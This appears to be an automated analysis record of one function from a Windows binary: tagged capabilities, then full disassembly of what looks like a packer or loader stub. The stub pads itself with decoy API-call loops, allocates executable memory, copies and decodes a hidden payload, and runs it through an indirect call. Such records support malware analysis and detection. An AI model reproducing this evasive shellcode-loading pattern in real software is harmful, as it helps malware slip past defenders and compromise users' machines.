Function at 0x4022d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read .ini file
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
mov dword [ebp - 0x24], 0
push 0x42b0b8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x934
jne 0x40242d
push 0x42a058
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x8074d
jne 0x40242d
push 0x42a058
call fcn.00409630
add esp, 4
cmp eax, 0x97568
jne 0x40242d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x5903c
jne 0x40242d
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov edx, 4
shl edx, 0
mov eax, dword [edx + 0x4289bc]
mov dword [0x42b0b4], eax
mov ecx, dword [0x42b0b4]
add ecx, 0xa2554
mov dword [0x42b0b4], ecx
mov dword [ebp - 0x18], 0
jmp 0x402464
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0x2d0
jge 0x4024a5
cmp dword [ebp - 0x18], 0x122
jne 0x402490
push 0x40
push 0x1000
mov eax, dword [0x42b0b4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x42acac], eax
cmp dword [ebp - 0x18], 0x26c0
jge 0x4024a3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
jmp 0x40245b
mov dword [ebp - 0xc], 0
jmp 0x4024b7
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x695114
jge 0x4024de
cmp dword [ebp - 0xc], 0x4c29b8
jne 0x4024dc
mov edx, 4
shl edx, 0
mov eax, dword [edx + 0x4289b0]
mov dword [0x42f218], eax
jmp 0x4024ae
mov dword [ebp - 4], 0
jmp 0x4024f0
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x5d91e1a1
jge 0x40253c
cmp dword [ebp - 4], 0x1630
jge 0x402514
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp dword [ebp - 4], 0x26538
jle 0x40253a
cmp dword [ebp - 0x48], 0x170b5f6b
je 0x40253a
cmp dword [ebp - 0x30], 0xdf790d0
je 0x40253a
cmp dword [ebp - 0x3c], 0x7040c746
je 0x40253a
jmp 0x40253c
jmp 0x4024e7
mov dword [ebp - 8], 0
jmp 0x40254e
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [0x42b0b4]
cmp dword [ebp - 8], eax
jae 0x402586
cmp dword [ebp - 8], 0x2473
jge 0x40256b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov ecx, dword [0x42f218]
add ecx, dword [ebp - 8]
mov dl, byte [ecx + 0xa2554]
mov eax, dword [0x42acac]
add eax, dword [ebp - 8]
mov byte [eax], dl
jmp 0x402545
mov dword [ebp - 0x10], 0
jmp 0x402598
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x7f5110
jge 0x4025ea
cmp dword [ebp - 0x10], 0xbc5f92
jle 0x4025b2
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
cmp dword [ebp - 0x10], 0x2c78a0
jne 0x4025cb
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x42b0b0], eax
cmp dword [ebp - 0x10], 0x26f9
jge 0x4025e8
push 0
lea edx, [ebp - 0x50c]
push edx
push str.De_vasohiro_vacopisagibepi_sato_xiwuca
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
jmp 0x40258f
mov dword [ebp - 0x14], 0
jmp 0x4025fc
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x799c34
jge 0x402607
jmp 0x4025f3
push 0x4285b0
mov ecx, dword [0x42b0b4]
push ecx
mov edx, dword [0x42acac]
push edx
call fcn.004022b0
nop
add dword [0x42b0b4], 0x388b2aff
call dword [0x42acac]
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov dword [ecx + 4], 1
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10